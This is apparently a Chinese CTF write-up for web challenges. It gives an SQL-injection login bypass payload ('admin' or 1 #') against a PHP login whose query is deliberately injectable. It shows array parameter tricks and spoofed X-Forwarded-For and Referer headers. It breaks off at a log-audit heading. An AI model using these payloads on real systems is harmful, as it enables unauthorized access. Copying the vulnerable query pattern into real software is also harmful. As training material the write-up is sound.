login 50
题目链接
http://47.100.121.220:28001
解答
一开始以为这个题是注入题,能从数据库中拿到flag,结果数据库里没有flag。结果群里的大佬说是简单的万能密码。
user=admin’ or 1 #&pass=1 绕过,得到源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php include "config.php"; include "flag.php";
if( isset($_POST["user"]) && isset($_POST["pass"])) { $user = $_POST["user"]; $pass = md5($_POST["pass"]); $auth = false; $conn = mysql_connect($db_host, $db_user, $db_pass) or die("Unable to connect!"); mysql_select_db($db_name) or die("Unable to select database!"); $sql = "select user_id from user where user='$user' and password='$pass'"; $query = mysql_query($sql); if(!$query) { mysql_close($conn); die("login failed!"); } $row = mysql_fetch_array($query, MYSQL_ASSOC); if($row['user_id']) { show_source(__FILE__); if(isset($_GET['data'])){ $data = $_GET['data']; if('php'===$data['a'] && 'is'===$data['b'] && 'nice'===$data['c'] && '!'===$data[3]) { $auth=true; } } } mysql_close($conn); if($auth) { echo "login success!"; echo $flag; } else { die("login failed!"); } } ?>
|
以上代码的关键,还是在data变量数组传入。
1 2 3 4 5 6 7 8
| if(isset($_GET['data'])){ $data = $_GET['data']; if('php'===$data['a'] && 'is'===$data['b'] && 'nice'===$data['c'] && '!'===$data[3]) { $auth=true; }
|
以上是关键代码,本地做一个简单的测试,看是否能data[a]这样的形式传入参数
1 2 3 4 5
| <?php var_dump( $_POST["data"]); echo '<br>'; print_r( $_POST["data"]); ?>
|
这里可以知道我们是可以这样传入参数的,因此构造payload得到flag
where are you from 100
题目链接
http://47.100.121.220:28002
基础知识
Referer
- 包含一个URL,用户从该URL代表的页面出发访问当前请求的页面
X-Forwarded-For
- 是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
解答
这个题目考察的就是HTTP头信息里中的以上两个头部。
在GET包里添加 X-Forwarded-For: 127.0.0.1
这里我们可以得到一个next.php页面,这个地方也要验证的。验证了X-Forwarded-For和Referer,我们把他们同时改为本地地址
日志审计 100